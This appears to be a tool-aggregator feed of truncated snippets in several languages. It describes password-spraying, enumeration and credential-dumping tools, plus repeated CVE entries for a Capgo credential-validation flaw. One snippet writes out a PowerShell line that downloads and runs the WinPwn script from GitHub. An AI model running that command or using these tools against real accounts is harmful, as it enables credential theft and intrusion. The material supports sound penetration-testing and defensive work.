spraygen

Spraygen पासवर्ड स्प्रेइंग के लिए पासवर्ड सूची जनरेटर - अच्छाइयों से पहले से तैयार संस्करण 1.7 महीनों, ऋतुओं, वर्षों, खेल टीमों NFL, NBA, MLB, NHL, खेल स्कोर, "पासवर्ड" और एक निर्दिष्ट आकार के पुनरावृत्त कीस्पेस के क्रमपरिवर्तन उत्पन्न करता है। सभी क्रमपरिवर्तन सामान्य विशेषताओं के साथ उत्पन्न हो...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Raccolte di Strumenti WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

CrackQL

CrackQL CrackQL è un'utility per il brute-force delle password e il fuzzing di GraphQL. CrackQL è uno strumento versatile per il penetration testing di GraphQL che sfrutta controlli deboli di rate-limit e analisi dei costi per eseguire brute-force delle credenziali e fuzzing delle operazioni...

adfsbrute

adfsbrute Ein Skript zum Testen von Anmeldeinformationen gegen Active Directory Federation Services ADFS, das die ADFS-URL einer Organisation ermittelt und Password-Spraying- oder Brute-Force-Angriffe ermöglicht. Die Hauptidee besteht darin, Password-Spraying-Angriffe mit einer zufälligen und hoh...

adfsbrute

adfsbrute A script to test credentials against Active Directory Federation Services ADFS, calculating the ADFS url of an organization and allowing password spraying or bruteforce attacks. The main idea is carrying out password spraying attacks with a random and high delay between each test and...

SharpSpray

SharpSpray Questo progetto è una porta in C del mio script PowerSpray.ps1. SharpSpray è un semplice insieme di codice per eseguire un attacco di password spraying contro tutti gli utenti di un dominio utilizzando LDAP ed è compatibile con Cobalt Strike...

chalumeau

Chalumeau Chalumeau is automated,extendable and customizable credential dumping tool based on powershell and python. Main Features Write your own Payloads In-Memory execution Extract Password List Dashboard reporting / Web Interface Parsing Mimikatz Dumping Tickets Screenshots Known Issues Parsin...

HunterScrape

Questo è uno script Python che utilizza l'API di hunter.io per estrarre dati su un dominio target, quindi generare una lista di email target. È utilizzato principalmente per password spraying con strumenti come Go365 o TREVORspray. Usage: HunterScrape-Dev.py -h -d DOMAIN -k KEY -l LIMIT -f -o...

onedrive_user_enum

onedriveuserenum v2.10 enumerate valid onedrive users For a full rundown of the enumeration technique and OneDrive enum, check out the blog here: https://www.trustedsec.com/blog/onedrive-to-enum-them-all/ If you are looking for the old, non-database vesion of OneDrive Enum, you can find it here:...

trident

trident The Trident project is an automated password spraying tool developed to meet the following requirements: the ability to be deployed on several cloud platforms/execution providers the ability to schedule spraying campaigns in accordance with a target’s account lockout policy the ability to...

Tritium

Tritium Uno strumento per enumerare e sprayare account Active Directory validi tramite pre-autenticazione Kerberos. Background Sebbene molti strumenti di password spraying Kerberos siano attualmente disponibili sul mercato, ho trovato difficile trovare strumenti con le seguenti funzionalità...

msprobe

msprobe About Installing Usage Examples Coming Soon Acknowledgements About Finding all things on-prem Microsoft for password spraying and enumeration. The tool will used a list of common subdomains associated with your target apex domain to attempt to discover valid instances of on-prem Microsoft...

spraycharles

Spraycharles अरे, यो मैं spraycharles जैसा महसूस कर रहा हूँ - Chiddy Bang धीमा और कम पासवर्ड स्प्रेइंग उपकरण, जो लंबे समय तक अंतराल पर स्प्रे करने के लिए डिज़ाइन किया गया है। इसमें Office365, OWA, EWS, Okta, ADFS, Cisco SSL VPN, Citrix Netscaler, Sonciwall, NTLM over HTTP, और SMB के लिए स्प्रेइंग...

RDWAtool

Uno strumento Python tutto-in-uno per estrarre informazioni, eseguire spray e brute force di password su un'applicazione Microsoft Remote Desktop Web Access RDWA. Questo strumento Python permette di estrarre varie informazioni da un'applicazione Microsoft Remote Desktop Web Access RDWA, come il...

SprayingToolkit

Avviso di Deprecazione Questo progetto non è più mantenuto. I seguenti progetti alternativi sono migliori e attivamente mantenuti: TREVORspray CredMaster SprayingToolkit Descrizione Un insieme di script/utility Python che tenta di rendere gli attacchi di password spraying contro Lync/S4B e OWA...

CVE-2026-56234

Capgo before 12.128.2 contains a credential validation vulnerability in the POST /functions/v1/private/validatepasswordcompliance endpoint that is callable using only the public Supabase key without authentication. The endpoint is CORS-permissive with wildcard origin allowance and lacks rate...

CVE-2026-56234 Capgo - Password Spraying via Public-Key Accessible Credential Validation Endpoint

Capgo before 12.128.2 contains a credential validation vulnerability in the POST /functions/v1/private/validatepasswordcompliance endpoint that is callable using only the public Supabase key without authentication. The endpoint is CORS-permissive with wildcard origin allowance and lacks rate...

EUVD-2026-38429

Capgo before 12.128.2 contains a credential validation vulnerability in the POST /functions/v1/private/validatepasswordcompliance endpoint that is callable using only the public Supabase key without authentication. The endpoint is CORS-permissive with wildcard origin allowance and lacks rate...

CVE-2026-56234 Capgo - Password Spraying via Public-Key Accessible Credential Validation Endpoint

Capgo before 12.128.2 contains a credential validation vulnerability in the POST /functions/v1/private/validatepasswordcompliance endpoint that is callable using only the public Supabase key without authentication. The endpoint is CORS-permissive with wildcard origin allowance and lacks rate...

No Exploit Needed: How Attackers Walk Through the Front Door via Identity-Based Attacks

The cybersecurity industry has spent the last several years chasing sophisticated threats like zero-days, supply chain compromises, and AI-generated exploits. However, the most reliable entry point for attackers still hasn't changed: stolen credentials. Identity-based attacks remain a dominant...